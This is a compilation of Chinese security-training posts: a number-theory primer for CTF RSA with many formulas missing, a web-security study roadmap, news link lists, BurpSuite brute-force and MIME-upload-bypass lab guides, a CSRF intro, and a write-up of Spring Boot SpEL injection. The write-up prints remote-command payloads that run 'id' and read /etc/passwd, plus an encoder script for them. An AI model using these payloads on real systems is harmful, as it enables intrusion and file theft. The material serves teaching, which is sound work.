CTF现代密码
前言:
在CTF的密码题目中,RSA以其加密算法之多且应用之广泛,所以在比赛中是最常见的题目。学习密码学并不难,但首先得打好数学基础,并在攻破密码的学习之路上持之以恒。今天我们就来打开RSA加密世界的第一扇门<数论< span="">>。
数论基础:
1.素数
2.公约数与公倍数
3.欧拉函数
4.欧几里得算法
5.扩展欧几里得算法
6.同余
7.模运算
8.逆
9.中国剩余定理
10.逆元与同余式定理
1.素数:
定义:
一个大于1的自然数,除了1和它本身外,不能被其他自然数整除(除0以外)的数称之为素数(质数);否则称为合数。
如:
3×4 = 12,不是素数。
11除了等于11×1以外,不能表示为其它任何两个整数的乘积,所以11是一个素数。
关于素数有以下事实:
(1)如果p是素数,且p | ab(表示ab能被p整除),则p | a或 p | b ,即p 至少整除a与b中的一个。
(2)(算术基本定理)每个整数n ≥ 2 ,均可分解成素数幂之积:
(3)素数有无穷多个。
2.最大公约数与最小公倍数
3.欧拉函数
定义:
性质:
4.欧几里得(Euclid)算法
欧几里得算法又称为辗转相除法,用于求两个数的最大公约数。
原理:GCD(x,y) = GCD(y,x mod y) ,x>y
1.python代码实现
2.python第三方库:
1gmpy2.gcd(a,b) #求a,b的最大公约数
2Crypto.Util.number
5.扩展欧几里得算法
定义:
在已知x,y时,求解一组解a,b,使得ax+by = GCD(x,y)
算法输入:两个正整数x和y
算法输出:x和y的最大公因数gcd(x,y)及满足等式ax+by=gcd(x,y)的整数a和b
python代码实现:
gmpy2库函数gcdext()
6.同余
定义:
设a,b是整数,n≠0,如果n|(a-b),则称a和b模n同余,记为a≡b(mod n),整数n称为模数。
由于n|(a-b) 等价于 -n|(a-b),所以a≡b(mod n) 与 a≡b(mod (-n))等价。因此,一般我们总假定模数n≥1。
同余的性质
性质1:
(1)自反性:a ≡ a (mod m)
(2)对称性:a ≡ b (mod m),↔ b ≡ c (mod m) ↔ a ≡ c (mod m)
性质2:
7.模运算
定义:
a模n的运算给出了a对模n的余数,这种运算称为模运算。注意:模运算的结果是从0到n-1的一个整数。
模运算就像普通的运算一样,它是可交换、可结合、可分配的。而且,对每一个中间结果进行模m运算后再进行模m运算,其作用与先进行全部运算,然后再进行模m运算所得到的结果是一样的。例如:
(a+b)mod m=((a mod m)+(b mod m)) mod m
(a-b)mod m=((a mod m)-(b mod m)) mod m
(a×b)mod m=((a mod m) ×(b mod m)) mod m
(a×(b+c))mod m=((a×b) mod m+(a×c) mod m) mod m
这些性质对于密码学中的数学计算非常的重要,模运算可以将所有中间结果和最后结果限制在一个范围内。对于一个k位的模数n,任何、加、减、乘的中间结果将不会超过2k位长,这样避免了巨大的中间结果,使得计算机能够有效的处理数据。
如:计算(mod n),不要直接进行7次乘法和一个大数的模运算:
(a×a×a×a×a×a×a×a)mod n
相反,应该进行三次比较小的乘法和三次比较小的模化简:
这样就可以避免巨大的中间结果出现。
8.逆
定义:
若m≥1,gcd(a,m)=1,则存在c使得:
ca≡1(mod m)
9.中国剩余定理
中国剩余定理(Chinese remainder theorem,CRT),又称孙子定理,最早可见于中国南北朝时期(公元5世纪)的数学著作《孙子算经》中,为一次同余方程组的起源。
代码实现:
10.逆元与同余式定理
1模运算重要公式:
2威尔逊定理:(wilson’s theorem)
若p为素数,则:(p-1)!≡-1(mod p) ⟹推导:(p-2)!≡1(mod p);
其逆定理同样成立。即:若(p-1)!≡-1(mod p),则p为素数
3二次探测定理:
定义:
若p是素数且 0<< span="">x<< span="">p,则 ≡1(mod p)仅有的两个解为:x=1或x=p-1
证明:由于≡1(mod p),所以:-1≡0(mod p),即(x+1)(x-1)≡0(mod p)
4费马小定理(Fermat):
5欧拉定理(Euler):
若a与m互质,则:
后记:
数论基础的知识点比较杂乱繁多,这篇文章写的时候尽可能的去精简了,其中的定理及公式是必须要牢记于心的,后面的RSA加密算法的讲述中我会介绍定理及公式在RSA中的应用。
学习完数论基础后,后面我们将开始学习RSA的常见攻击算法及加密原理,以及各种工具的使用和python第三方库的函数调用。
相关实验--https://www.yijinglab.com/pages/CTFLaboratory.jsp
https://www.yijinglab.com/pages/CTFLaboratory.jsp
这可能是最适合萌新入门Web安全的路线规划
最近在后台经常收到粉丝问,Web安全有没有什么路线。确实,Web安全的范围实在太大,哪些先学,哪些后学,如果没有系统的路线会降低大家效率,对于刚入门的同学们来说简直就是“噩梦”。所以,这篇类似学习路线的文章,希望可以帮助刚入门的萌新们少走弯路。(文末附学习资料及工具领取)
首先我们来看看企业对Web安全工程师的岗位招聘需求是什么?
1 职位描述
对公司各类系统进行安全加固;
对公司网站、业务系统进行安全评估测试(黑盒、白盒测试)
对公司安全事件进行响应、清理后门、根据日志分析攻击途径
安全技术研究,包括安全防范技术、黑客技术等;
跟踪最新漏洞信息,进行业务产品的安全检查。
2 岗位要求
熟悉Web渗透测试方法和攻防技术,包括SQL注入、XSS跨站、CSRF伪造请求、命令执行等OWSP TOP10 安全漏洞与防御;
熟悉Linux、Windows不同平台的渗透测试,对网络安全、系统安全、应用安全有深入理解和自己的认识;
熟悉国内外安全工具,包括Kali、Linux、Metasploit、Nessus、Namp、AWVS、Burp等;
对Web安全整体有深刻理解,有一定漏洞分析和挖掘能力;
根据岗位技能需求,再来制定我们的学习路径,如下:
01 Web安全学习路径
01 HTTP基础
只有搞明白Web是什么,我们才能对Web安全进行深入研究,所以你必须了解HTTP,了解了HTTP,你就会明白安全术语的“输入输出”。黑客通过输入提交“特殊数据”,特殊数据在数据流的每个层处理,如果某个层没处理好,在输出的时候,就会出现相应层的安全问题。关于HTTP,你必须要弄明白以下知识:
HTTP/HTTPS特点、工作流程
HTTP协议(请求篇、响应篇)
了解HTML、Javascript
Get/Post区别
Cookie/Session是什么?
02 了解如下专业术语的意思
Webshell
菜刀
0day
SQL注入
上传漏洞
XSS
CSRF
一句话木马
......
03 专业黑客工具使用
熟悉如何渗透测试安全工具,掌握这些工具能大大提高你在工作的中的效率。
Vmware安装
Windows/kali虚拟机安装
Phpstudy、LAMP环境搭建漏洞靶场
Java、Python环境安装
子域名工具 Sublist3r
Sqlmap
Burpsuite
Nmap
W3af
Nessus
Appscan
AWVS
04 XSS
要研究 XSS 首先了解同源策略 ,Javascript 也要好好学习一下 ,以及HTML实体 HTML实体的10 或16进制还有Javascript 的8进制和16进制编码,最终掌握以下几种类型的XSS:
反射型 XSS:可用于钓鱼、引流、配合其他漏洞,如 CSRF 等。
存储型 XSS:攻击范围广,流量传播大,可配合其他漏洞。
DOM 型 XSS:配合,长度大小不受限制 。
05 SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。你需要了解以下知识:
SQL 注入漏洞原理
SQL 注入漏洞对于数据安全的影响
SQL 注入漏洞的方法
常见数据库的 SQL 查询语法
MSSQL,MYSQL,ORACLE 数据库的注入方法
SQL 注入漏洞的类型:数字型注入 、字符型注入、搜索注入 、盲注(sleep注入) 、Sqlmap使用、宽字节注入
SQL 注入漏洞修复和防范方法
一些 SQL 注入漏洞检测工具的使用方法
06 文件上传漏洞
了解下开源编辑器上传都有哪些漏洞,如何绕过系统检测上传一句话木马、WAF如何查杀Webshell,你必须要掌握的一些技能点:
1.客户端检测绕过(JS 检测)
2.服务器检测绕过(目录路径检测)
3.黑名单检测
4.危险解析绕过攻击
5..htaccess 文件
6.解析调用/漏洞绕过
7.白名单检测
8.解析调用/漏洞绕过
9.服务端检测绕过-文件内容检测
10.Apache 解析漏洞
11.IIS 解析漏洞
12.Nginx 解析漏洞
07 文件包含漏洞
去学习下 include() include_once() require() require_once() fopen() readfile() 这些php函数是如何产生文件包含漏洞, 本地包含与远程包含的区别,以及利用文件包含时的一些技巧如:截断 /伪url/超长字符截断等 。
08 命令执行漏洞
PHP代码中常见的代码执行函数有:
eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(),create_function(), array_map()等。
了解这些函数的作用然后些搞清楚如何造成的代码执行漏洞。
09 CSRF 跨站点请求
为什么会造成CSRF,GET型与POST型CSRF 的区别, 如何防御使用 Token防止CSRF?
010 逻辑漏洞
了解以下几类逻辑漏洞原理、危害及学会利用这几类漏洞:
信息轰炸、支付逻辑漏洞、任意密码修改、越权访问、条件竞争、任意注册、任意登录、顺序执行缺陷、URL跳转漏洞.
011 XEE(XML外部实体注入)
当允许XML引入外部实体时,通过构造恶意内容,可以导致文件读取、命令执行、内网探测等危害。
012 SSRF
了解SSRF的原理,以及SSRF的危害。
SSRF能做什么?当我们在进行Web渗透的时候是无法访问目标的内部网络的,那么这个时候就用到了SSRF漏洞,利用外网存在SSRF的Web站点可以获取如下信息。
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网Web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的Web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
如果上述漏洞原理掌握的都差不多那么你就算入门Web安全了。
网络安全日报 2020年10月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美国制裁开发Triton的俄罗斯研究所
https://www.securityweek.com/us-treasury-sanctions-russian-institute-linked-triton-malware
2、即时通讯应用中链接预览存在隐私风险
https://thehackernews.com/2020/10/mobile-messaging-apps.html
3、英国餐馆Nando客户受到凭证填充攻击
https://www.infosecurity-magazine.com/news/nandos-customers-hit-credential/
4、印度报业托拉斯遭到勒索软件攻击
https://www.thehindubusinessline.com/info-tech/pti-services-disrupted-after-massive-ransomware-attack-on-servers/article32940254.ece
5、芬兰心理治疗中心Vastaamo遭入侵导致数据泄露
https://www.securityweek.com/private-psychotherapy-notes-leaked-major-finnish-hack
6、Nitro PDF遭受严重数据泄露影响包括Apple,花旗银行,谷歌等公司
https://securityaffairs.co/wordpress/110025/data-breach/nitro-pdf-data-breach.html
7、安全专家发现了一个新的僵尸网络KashmirBlack
https://securityaffairs.co/wordpress/110014/cyber-crime/kashmirblack-botnet.html
8、TikiWiki身份验证绕过漏洞使攻击者可以完全控制网站
https://portswigger.net/daily-swig/tikiwiki-authentication-bypass-flaw-gives-attackers-full-control-of-websites-intranets
9、研究人员警告AI安全系统存在漏洞
https://www.zdnet.com/article/australian-and-korean-researchers-warn-of-loopholes-in-ai-security-systems/
10、HPE修复了SSMC控制台中的严重身份验证绕过漏洞
https://securityaffairs.co/wordpress/109962/security/ssmc-critical-auth-bypass-issue.html
网络安全日报 2020年10月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、NVIDIA修补了严重程度高的GeForce Experience漏洞
https://www.bleepingcomputer.com/news/security/nvidia-patches-high-severity-geforce-experience-vulnerabilities/
2、Abaddon RAT将Discord作为C2服务器
https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/
3、美国佐治亚州选举数据库遭勒索软件攻击
https://threatpost.com/georgia-election-data-ransomware/160499/
4、技术支持诈骗活动利用跨站点脚本漏洞
https://blog.malwarebytes.com/cybercrime/2020/10/xss-to-tss-tech-support-scam-campaign/
5、WordPress Loginizer插件存在严重漏洞
https://www.tripwire.com/state-of-security/featured/loginizer-wordpress-plugin-forced-update/
6、Chrome 86开始阻止滥用通知权限请求
https://www.securityweek.com/chrome-86-starts-blocking-abusive-notification-permission-requests
7、新的Emotet攻击使用伪装成升级Microsoft Word消息的新模板
https://securityaffairs.co/wordpress/109950/cyber-crime/emotet-microsoft-word-template.html
8、日本COVID-19疫苗制造公司Shionogi遭受网络攻击和数据泄露
https://www.japantimes.co.jp/news/2020/10/23/business/corporate-business/japan-shionogi-cyberattack-data-breach/
9、研究人员发现发现黑客出售1.86亿美国选民信息
https://www.nbcnews.com/politics/2020-election/cybersecurity-firm-finds-hacker-selling-info-148-million-u-s-n1244211
10、Microsoft和MITRE发布了对抗性机器学习威胁框架
https://www.securityweek.com/microsoft-mitre-release-adversarial-machine-learning-threat-matrix
网络安全日报 2020年10月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、思科解决了安全设备中的17个高危漏洞
https://securityaffairs.co/wordpress/109865/security/cisco-security-appliances-flaws.html2、QNAP发布公告其NAS OS(QTS)的某些版本会受到Zerologon漏洞的影响
https://securityaffairs.co/wordpress/109859/iot/qnap-zerologon-flaw.html3、研究人员在黑客论坛上发现了美国选民数据
https://www.securityweek.com/us-voter-data-traded-hacker-forums-researchers4、安全研究员通过猜测密码破解了川普的推特密码
https://threatpost.com/researcher-hacked-trumps-twitter-password/160473/5、利用Microsoft Teams钓鱼攻击针对Office 365用户
https://threatpost.com/microsoft-teams-phishing-office-365/160458/6、新的大规模网络钓鱼活动针对公有云用户
https://cyware.com/news/new-massive-phishing-campaigns-target-public-cloud-users-287103cf7、印度制药巨头雷迪博士因数据泄露迫使其暂时关闭全球工厂
https://www.hindustantimes.com/health/data-breach-at-dr-reddy-s-forces-lab-to-temporarily-shot-operations-across-globe/story-nBWsC83cnpMZAcTxQxUDVK.html8、欧洲主要IT服务公司Sopra Steria遭受勒索软件攻击
https://www.finextra.com/newsarticle/36804/sopra-steria-falls-victim-to-ransomware-attack/wholesale9、Safari、UC等多个移动端浏览器存在地址栏欺骗漏洞
https://thehackernews.com/2020/10/browser-address-spoofing-vulnerability.html10、芬兰心理治疗公司Vastaamo遭数据泄露
https://newsnowfinland.fi/crime/hackers-hold-patient-information-for-ransom-in-psychotherapy-data-breach
记一次Spring表达式注入
该漏洞仅影响 Spring Boot 1.2.8之前版本,Spring Boot 1.2.8版本之后已得到修补。
在spring中任何反映用户输入的Whitelabel错误页面都将会容易受到攻击。这是因为用户的输入被视做为Springs Expression Language(SpEL)。在一次测试中,我遇到了一个特殊的URL,该URL触发了spring中的Whitelabel Error页面表达式注入。
https://%3Cdomain%3E/BankDetailForm?id=abc${12*12}abc<>执行结果:
spring中的Whitelabel页面将输入的abc${12*12}abc显示为abc144abc。随后尝试执行一个id命令并显示结果。尝试了以下测试:
https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(%27id%27<>)}
payload:${T(java.lang.Runtime).getRuntime().exec('id')}
执行结果:
输入的表达式原样输出,对比David的文章(https://secalert.net/#cve-2016-4977),一切都显示正确,但是我仍然没有得到想要的输出。尝试了良久之后,我决定本地搭建一个Springs应用程序尝试创建相同的场景。我尝试了基本操作,{5*5}并在错误页回显出25的结果。然后尝试执行id命令,依旧没有执行。通过调试跟踪代码的堆栈信息如下:
可以清楚的看到包含id命令的单引号被URL编码。得出原因之后,大致的解决方式有两种:
1、通过在错误的代码中查找字符,然后使用substring()将字符串一个个截取来传递给exec()方法。
2、通过找到一种无需使用双引号或单引号就可以传递要执行的字符串的方法。
这里我们采用第二种方法。如果我能够找到可以输入id参数的方法,那么cat /etc/passwd也将会迎刃而解。在Java中支持嵌套函数的使用。
经过对一些Java类调试之后发现了以下内容:
java.lang.Character.toString(105)
-> prints the characer 'i'
i字符我们已经得到,那么接下来我们通过同样的方法合并字符“ d”即可,我们使用concat()方法来进行嵌套d字符,并与i字符合并。
java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'
最终得到的有效载荷如下:
https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java<>.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}
执行结果如下所示:
通过getRuntime()方法执行我们传入的参数,现在,我们已经有了一个回显型的RCE,可以使用它来执行命令。接下来尝试执行cat /etc/passwd并将结果打印到Whitelabel Error页面上。这意味着对于每个字符都需要通过ASCII编码来进行传递。每个字符的传入格式如下:
concat(T(java.lang.Character).toString(<ascii value>))
由于字符过多,我们通过python脚本来实现此功能:
#!/usr/bin/env python
from __future__ import print_function
import sys
message = raw_input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
for ch in message:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
要获取cat /etc/passwd命令的结果,我们通过使用IOUtils类调用toString()方法将输入流传递给此方法,并获取相应结果。
最终payload如下:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).conc
综上所述,通过Apache IOUtils库,并将cat /etc/passwd使用字符类转换为ASCII字符,将转换后的字符传递给exec()方法执行。并获得输入流,将其传递给toString()IOUtils类的方法解析。
翻译来源:http://deadpool.sh/2017/RCE-Springs/
相关实验--https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858&pk_campaign=heetian-wemedia
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息从而导致信息泄露的事件发生
BurpSuite实战——蚁景网安实验室学习笔记
burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放。
此BurpSuite实战主要包括两个实验:分别是使用burp进行暴力破解和Burpsuite简介及MIME上传绕过实例。
链接:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014112610353900001&pk_campaign=heetian-wemedia
实验一:使用burp进行暴力破解
一、实验简介
实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:网络安全,计算机网络
实验类别:实践实验类
二、预备知识
1.Burp的工作模式:
在没有burp之前,客户端使用浏览器直接与服务器进行通信。有了burp之后,burp在客户端与服务器之间充当代理。这样,浏览器发送给服务器的请求就会被burp进行捕获,而burp和wireshark这种审计类工具相比,其强大之处在于不仅可以做审计工作,更可以对数据包进行修改并发送出去。使用了burp的结构如下图所示。
burp结构
2.暴力破解:
一般使用暴力破解都有两种原因:
● 对这个漏洞的测试,人是可以完成的,即可穷举。
●人可以完成,但是代价太大,或者太浪费时间。
正是出于这样的问题,一些软件的出现帮助人完成了这些测试,这就是暴力破解的真正好处。在业界曾经有这样的一种看法,对于暴力破解的使用都不屑一顾,因为大家觉得技术含量太低。但是,从实际的情况来看,因为用户使用弱口令情况太普遍,导致很多漏洞使用暴力破解都可以轻松拿下。
暴力破解,最有价值的地方是在对字典的构造上,这是一门技术,需要长期的经验积累。
三、实验目的
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。在此郑重声明,本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。
四、实验环境
服务器:windows xp sp3 ip地址:10.1.1.163
测试者:windows xp sp3 ip地址随机
五、实验步骤
步骤一:
Burp是个非常强大的web分析工具。burp在浏览器和服务器之间充当了一个双向代理。这样,就可以把用户或者服务器通信过程中产生的数据包给截获下来,让专业人员去分析。(关于Burpsuite的部分简介可以参考实验二)
本次实验,需要完成的任务如下:
●配置burp和浏览器代理,使burp能够正常运行;
●学会使用burp中的compare模块;
●学会使用burp中的repeat模块;
●学会使用burp中的intruder模块。
此实验由蚁景网安实验室平台提供了一个存在暴力破解隐患的网站。
配置burp和设置ie代理:
在预备知识中我们了解到,burp在浏览器(客户端)是以代理的方式存在。因此,如果想要我们发送的包被burp截断,就需要双方协商好一个监听端口。
首先,双击打开桌面的burp进入主界面。
1.设置burp监听端口:
选择proxy(代理),进入之后选择options。我们看到在Proxy listeners处burp为我们默认添加了一个本地8080端口处的监听项。当然,你也可以自拟一个新的监听端口,在左侧点击ADD即可设置。
2.配置浏览器的代理项:
这里以系统自带的ie为例(chrome和firefox用户可以使用代理插件进行设置)
使用win+R键打开命令窗口,输入inetcpl.cpl进入ie设置。
在连接选项卡中,选择局域网设置:
输入我们为burp指定的监听端口号:
这时候,我们就建立了基本配置。
3.测试:
在burp中打开intercept is on:
用浏览器访问:10.1.1.163/crack,我们会在burp中看到:
这表明我们已经成功的截获了来自浏览器的请求。
点击forward就可以把这个请求发送给服务器,服务器会将结果返回给浏览器中,并将响应在burp中记录下来。Drop会将这个包丢掉,即不会发送到服务器端。
步骤二:
熟悉comparer,repeater,intruder模块。
1.compare模块:
compare模块可以将不同的数据包(无论是请求包还是响应包)进行比较。
首先,我们添加一条请求到compare模块去。
在已经截取的数据包上面右键,选择send to comparer:
这时候,我们会看到在comparer模块,上下两个界面中同时多出来了一条记录:
使用同样的方法,我们在为comparer模块添加另外的一条记录:
我们打算使用1和2进行对比,在两个视图中选择1和2(顺序无所谓),然后点击右下角的compare word(bytes是指文件按照字节流来进行比对):
从图中我们可以看到,窗口标题提示了我们两个文件有多少处不同。左下角的图例告诉了我们右侧和左侧相比,哪些是添加的,哪些是修改的,哪些是删除的。非常直观。
2.repeater模块:
有时候我们需要向服务器发送多次相同的请求来测试服务器的响应。这里,我们只需要将burp截取到的请求通过右键send to repeater就可以在repeater中进行操作了。
进入到repeater之后,点击go按钮,右侧就会返回服务器的响应。
Go的次数没有限制,点击多少次go,burp就会把当前的请求页向服务器发送多少次。
使用repeater的目的是进行重放攻击测试,看服务器是否会对重放测试做出反应。
3.intruder模块:
这个模块是burp非常强势的地方,也正是我们课中说到的暴力破解主要使用的模块。
(1)同样的,在已经截获的请求页上右键,选择send to intruder。
进入intruder模块。会看到四个选项卡,分别是Target,Positions,Payloads,Options。
Target主要是设置暴力破解访问的host地址和对应的端口号:
Positions设置是选择我们要暴力破解的位置。在默认情况下,burp会自动将所有的变量都勾选上。实际操作中,我们往往是针对单一点,选择“clear$”,此时所有默认的爆破点都已经消失。
(2)用鼠标选中需要暴力破解的变量的值。然后右侧选择“add$”,这样我们就添加了一个爆破点,这个爆破点的payload位置是在两个“$”之间的部分。
Payloads设置:
选择怎样的字典或者payload,是这个模块要做的事情。Payload type下拉列表框为我们提供了常用的payload 类型,视情况选择即可。
如果你有合适的字典,在选择了payload type为simple list后,接下来你就可以在payload options中选择你要加载的字典文件,点击load即可。
有时候我们需对payload进行二次处理,比如md5加密啊,base64加密啊之类的,burp当然也考虑到了这一点。在payload processing中集成了一些常见的算法。
点击add,在弹出的窗口中就可以根据需要选择了。
Options中有关于其他细节的设置,比如攻击时使用的线程数,关于攻击的一些存储设置之类。这里就不再赘述。
步骤三:
下面尝试对密码的爆破:已知用户名,密码为50-100之间的某个数。
1.访问http://10.1.1.163/crack/,这是一个登录界面:
2.使用图中账号登录,密码任意。完成表单后提交。这时候burp会截取我们的请求:
3.在该请求页上右键选择send to repeater,我们来进行重放测试。点击go,右侧返回服务器的响应。多次go之后发现,服务器返回的长度和内容都没有发生变化,都会提示sorry:
也就是说,服务器对多次测试并没有加以限制,因此我们可以使用暴力破解了。
为了再次验证,我们在登陆界面再次输入一个不同的密码。在我们将两次请求的响应使用comparer去比对一下。(在proxy中选择子选项卡HTTP History,选择方法为post的两个历史记录,点击每一条post记录,下方会看到不同的post数据时,这应该就是我们的两次不同密码的请求记录,右键选择send to comparer(response)):
从图中我们可以发现,经过对两次不同的请求返回结果进行对比,burp为我们在左上角标出了2项不同,但都是体现在时间上,其余都相同。所以可以使用暴力破解。
4.进入到intruder之后,先点击Clear$,然后选中我们刚才填写的pas字段值,点击Add$。这样,就确定了爆破点是pas位置。
5.打开payload选项卡,payload type选择数字:
6.选择数字之后,我们填写数字范围。因为是已经暗示了密码范围,所以我们选择50到100.顺序生成,每步加1(step设置):
7.开始攻击:
8.这时候我们看到了攻击测试界面。我们重点关注payload和length,这里的length表示的是服务器的响应长度。
从理论上来分析,登陆成功和登陆失败,返回的长度应该不同,这能方便我们找出正确密码。右下角的进度条显示了我们的进度。
我们发现,在测试的50个payload中,payload为69的返回值不同与其他payload返回值。我们怀疑69就是答案。我们来观察一下。
在payload为69的request上双击,进入后选择response。浏览response,直到发现:“you got it.”
Yes,you catch the flag!成功获取密码。
六、答题
注:请在特定的环境下进行实验(如虚拟机)。切记不要对他人的网站进行实验,如造成不利影响或产生违法行为,一切后果自负。
实验二:Burpsuite简介及MIME上传绕过实例
一、实验简介
实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:信息网络安全概论
实验时数(学分):2学时
实验类别:实践实验类
二、预备知识
1.了解burpsuite:
Burp Suite是用于攻击web应用程序的集成平台。包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息,持久性,认证,代理,日志,警报的可扩展的框架。
在一个工具处理HTTP请求和响应时,它可以选择调用其他任意的 Burp 工具。例如,代理记录的请求可被Intruder用来构造一个自定义的自动攻击的准则,也可被 Repeater 用来手动攻击,也可被 Scanner 用来分析漏洞,或者被 Spider(网络爬虫)用来自动搜索内容。
Burpsuite主要有如下模块/功能:
Target,显示目标站点目录结构
Proxy,是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Spider,是一个应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
Scanner,是一个高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder,是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing
技术探测常规漏洞。
Repeater,是一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。
Sequencer,是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder,是一个进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Extender,可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。
Options,对Burp Suite的一些设置。
2.了解服务端MIME类型检测:
服务端MIME检测类型图片上传过程中http包的Content-Type是否为image/jpeg,如果是就可以成功上传。相关源代码:
可以看到红色区域中的if语句只对Content-Type和图片的大小做了判断。
三、实验目的
通过本实验了解利用Burpsuite绕过MIME上传检测的过程。
四、实验环境
服务器:win2003,IP地址:10.1.1.59:81
测试者:win7,IP地址随机
五、实验步骤
步骤一:
1.使用Burpsuite的代理功能:
访问http://10.1.1.59:81/,输入用户名:admin,密码:password,打开burpsuite,设置好浏览器代理,点击sql injection:
截获的数据包如下:
单击右键,如下图所示:
Send to XXX分别表示将截获的数据发送到各个模块,然后在各模块下进行下一步操作。
下拉菜单,点击Send to Spider切换到Spider模块下,burpsuite会自动对网站进行爬行,切换到Control选项卡下可以查看爬行的状态和设置爬行范围,Options选项卡中可以进行爬行的设置等。一段时间后切换到Target模块查看结果:
Change request method表示更改请求方式,如之前使用的GET请求,点击Change request method后为变为POST:
Don’t intercept requests表示不截获请求,比如我们选择To this host,在Intercept is on时burp也不对此主机的请求做拦截。我们就可以正常访问该网页了。
然后切换到Proxy的Options选项卡下,查看Intercept Client Requests,已增一条记录:
Do intercept下Response to this request功能可用于对服务端发送过来的信息做修改来欺骗浏览器。
如果开启URL-encode as you type表示对你输入的&,=等字符将会被URL编码替换。
2.Target模块:
这个模块下有两个选项卡,Site map主要是将爬行的站点以树形结构显示,Scope主要是用来设置范围进行过滤。
有时当我们对一个目标网址进行测试时,Site map下会出现许多不相关的网址,我们可以使用Filter来过滤,只留下目标网址:
点击Filter,勾选Show only in-scope items:
此时Site map下只剩下目标网址了:
然后我们随便点击一个目录又会出现许多功能:
点击Remove from scope,比如我此时选择css,该目录就会消失,对应的Scope选项卡下便会多出一条记录:
点击Spider this branch,burp就会对该目录进行爬行。
点击Expand branch来展开分支,其他功能不是很常用,有兴趣可以自行研究哦。
Site map选项卡右边可以看到一些请求的信息,在Host下可以选择对链接进行高亮显示,comment下可以添加注释,针对单个链接也可进行右键操作。
步骤二:
使用burpsuite上传绕过服务端MIME类型检测:
1.首先在桌面上新建一个1.txt,此处我写入“hello_world”。因为目标主机只允许我们上传jpg文件,那么我们下载就要绕过这个限制,上传一个txt文件上去:
2.打开http://10.1.1.59:81/,输入用户名:admin 密码:password,点击Upload:
3.设置好浏览器代理后,我们选择刚才创建的txt文件进行上传。此时burpsuite已经截获到了数据包,我们右击选择“send to reprater”:
4.切换到Repeater中将Content-Type后的text/plain修改为image/jpeg:
5.点击go,从右侧可看到已经上传成功,在右下方输入1.txt进行搜索刚才上传的图片:
6.关闭代理,打开搜索到的路径:
六、答题
注:请在特定的环境下进行实验(如虚拟机)。切记不要对他人的网站进行实验,如造成不利影响或产生违法行为,一切后果自负。
你的钱为什么会被转走,这篇文章告诉你答案
本篇文章内容,主要是关于CSRF。
01 什么是CSRF?
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
CSRF攻击原理如下:
■ 用户打开浏览器,访问登陆受信任的A网站
■ 在用户信息通过验证后,服务器会返回一个cookie给浏览器,用户登陆网站A成功,可以正常发送请求到网站A
■ 用户未退出网站A,在同一浏览器中,打开一个危险网站B
■ 网站B收到用户请求后,返回一些恶意代码,并发出请求要求访问网站A
